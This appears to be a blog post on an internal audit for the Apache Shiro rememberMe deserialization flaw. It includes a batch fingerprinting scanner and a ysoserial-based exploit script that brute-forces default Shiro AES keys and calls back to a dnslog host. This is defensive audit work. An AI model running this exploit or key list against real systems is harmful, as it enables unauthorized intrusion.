Apache shiro反序列化漏洞排查



0x01 前言

老洞了,最近SRC收了一個Apache Shiro漏洞,然後領導就讓我去排查,


0x02 情況

先說一下情況吧,由於我司沒有一個自動化漏洞掃描平臺,因此我只能手動去驗證

某部500+系統,系統情況不明,沒有賬號密碼某部系統使用雲上主機,沒有權限進入並掃描war包


0x03 思考

思考一下 問題來了

怎麼確定系統有用到Apache Shiro?怎麼確定該系統的Shiro存在漏洞?


上午查看了一下Apache Shiro反序列化這個漏洞的“前因後果”,觸發條件以及相關的poc,雖然網路上有攻擊腳本,但是還是沒有好用的批量工具(也可能是我沒有找到吧


下面是我處理的步驟:


1、找出Apache Shiro的特徵

這個特徵找的時候還有一部分曲折,一開始我以為的是找到系統的登陸接口,或者提交登陸的form,服務器才會返回一個rememberMe的cookie,然並卵,後面試了幾次,發現使用shiro的系統,只要在我請求包中加一個rememberMe=1的cookie,response裡就會返回rememberMe=deleteMe的操作,因此由此可以識別該系統是否使用了Apache Shiro


2、編寫腳本掃描

要先篩選出使用shiro的系統嘛

我的渣代碼就將就著看吧,在寫的時候習慣用print來確認自己寫的沒錯,後面調試

<code>from urllib import requestimport jsonimport requestsimport os# 獲取每個url數據def get_result(ip): if '://' not in ip: target = 'https://%s/' % ip if ':443' in ip else 'http://%s/' % ip else: target = ip header = {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Host': ip, 'User-Agent ': 'Mozilla/5.0 (Windows NT 10.0;WOW64;rv:61.0) Gecko/20100101 Firefox/61.0', 'Cookie':'rememberMe=1' } # print(header) data = None try: rq = request.Request(target, data=data, headers=header) res = request.urlopen(rq) head = res.headers if "deleteMe" in str(head._headers[1]): print("[+] %s is vulnerable." % (target)) print(ip) return target else: pass #print("[+] %s is not vulerable" % (target)) # return True # return head except Exception as result: pass # print('未知錯誤 %s' % target) # # print(head) # response = res.read();# 獲取請求結果def get_response(): file = open("D:\\\\ip.txt","r") for i in file: # print(i.strip()) ip = i.strip() result = get_result(ip) # print(result)if __name__ == '__main__': get_response()/<code>

3、上攻擊腳本

這裡要修改腳本進行批量掃描,


0x04 後續

poc 網上有就不多講了 排查了一遍再用某平臺掃描了一遍 也沒有發現這些資產有shiro反序列化漏洞,便出報告、發郵件抄送領導了

今天撿了一個poc,覺得挺有趣的,記錄下來


<code>import osimport reimport base64import uuidimport subprocessimport requestsfrom Crypto.Cipher import AESJAR_FILE = 'ysoserial.jar'keys=["kPH+bIxk5D2deZiIxcaaaA==","4AvVhmFLUs0KTA3Kprsdag==","3AvVhmFLUs0KTA3Kprsdag==","Z3VucwAAAAAAAAAAAAAAAA==","2AvVhdsgUs0FSA3SDFAdag==","wGiHplamyXlVB11UXWol8g==","fCq+/xW488hMTCD+cmJ3aQ==","1QWLxg+NYmxraMoxAXu/Iw==","ZUdsaGJuSmxibVI2ZHc9PQ==","L7RioUULEFhRyxM7a2R/Yg==","6ZmI6I2j5Y+R5aSn5ZOlAA==","r0e3c16IdVkouZgk1TKVMg==","ZWvohmPdUsAWT3=KpPqda","5aaC5qKm5oqA5pyvAAAAAA==","bWluZS1hc3NldC1rZXk6QQ==","a2VlcE9uR29pbmdBbmRGaQ==","WcfHGU25gNnTxTlmJMeSpw==","LEGEND-CAMPUS-CIPHERKEY==","3AvVhmFLUs0KTA3Kprsdag ==","2AvVhdDFCVdfdfDFAdag==","AsfawfsdfaAasdWWW=="]def poc(url, rce_command,key): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = generator(rce_command, JAR_FILE,key) r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) print r.status_code except Exception, e: pass return Falsedef generator(command, fp,key): if not os.path.exists(fp): raise Exception('jar file not found!') popen = subprocess.Popen(['java', '-jar', fp, 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertextif __name__ == '__main__': for i in range(len(keys)): print keys[i] poc('http://ip:port/a/login', 'dnslog',keys[i]) #dnslog=http://xxx.ceye.io /<code>